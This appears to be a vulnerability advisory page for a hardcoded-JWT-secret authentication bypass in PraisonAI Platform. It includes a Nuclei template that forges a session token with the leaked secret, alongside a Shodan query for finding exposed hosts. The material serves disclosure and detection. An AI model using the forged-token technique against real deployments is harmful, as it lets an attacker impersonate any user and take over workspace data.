CVE-2026-57148: PraisonAI Platform <= 0.1.4 - Hardcoded JWT Secret Authentication Bypass

2026-11-29 PoC Public

Description

PraisonAI Platform (praisonai-platform) 0.1.4 and earlier signs and verifies session JWTs with the hardcoded secret "dev-secret-change-me" when PLATFORM_JWT_SECRET is not set. The production guard only fires when PLATFORM_ENV is not "dev", but PLATFORM_ENV defaults to "dev", so a default deployment starts with the public key. This is an incomplete fix of CVE-2026-47410. An unauthenticated attacker can forge a HS256 token with any sub claim and is authenticated as that user on every protected API route.

Details

CVE
CVE-2026-57148 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-57148

info:
  name: PraisonAI Platform <= 0.1.4 - Hardcoded JWT Secret Authentication Bypass
  author: s4e-io
  severity: critical
  description: |
    PraisonAI Platform (praisonai-platform) 0.1.4 and earlier signs and verifies session JWTs with the hardcoded secret "dev-secret-change-me" when PLATFORM_JWT_SECRET is not set. The production guard only fires when PLATFORM_ENV is not "dev", but PLATFORM_ENV defaults to "dev", so a default deployment starts with the public key. This is an incomplete fix of CVE-2026-47410. An unauthenticated attacker can forge a HS256 token with any sub claim and is authenticated as that user on every protected API route.
  impact: |
    Unauthenticated attackers can forge valid session tokens and impersonate any user, including workspace owners, leading to full read, write and delete access to workspace data.
  remediation: |
    Upgrade praisonai-platform to 0.1.6 or later. Set PLATFORM_JWT_SECRET to a strong random value and do not run production deployments with PLATFORM_ENV=dev.
  reference:
    - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f38v-77qj-h4jq
    - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3qg8-5g3r-79v5
    - https://github.com/MervinPraison/PraisonAI/commit/e0fb8e7dd1ee6759c18ed07f436c21dbd9c20747
    - https://nvd.nist.gov/vuln/detail/CVE-2026-57148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-57148
    epss-score: 0.02385
    epss-percentile: 0.84687
    cwe-id: CWE-287,CWE-798,CWE-1188
  metadata:
    verified: true
    max-request: 3
    vendor: praison
    product: praisonai-platform
    shodan-query: http.title:"PraisonAI Platform"
  tags: cve,cve2026,praisonai,praison,jwt,auth-bypass,vuln

variables:
  secret: "dev-secret-change-me"
  control_key: "{{rand_text_alphanumeric(32)}}"
  payload: '{"sub":"{{randstr}}","exp":{{unix_time(600)}}}'

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /api/v1/auth/me HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "Missing Authorization header")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/auth/me HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Bearer {{generate_jwt(payload,"HS256",control_key)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "Invalid or expired token")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/auth/me HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Authorization: Bearer {{generate_jwt(payload,"HS256",secret)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(body, "{\"detail\":\"User not found\"}")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4b0a00483046022100f4ea01be59fd8cea47821e381921175b5b5eca3277b21990b3f90a60311574cd022100c17cb59b65639d43dd8332a2334e8ad404dc6ccfa57f1df9363ae4cdee3d7043:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life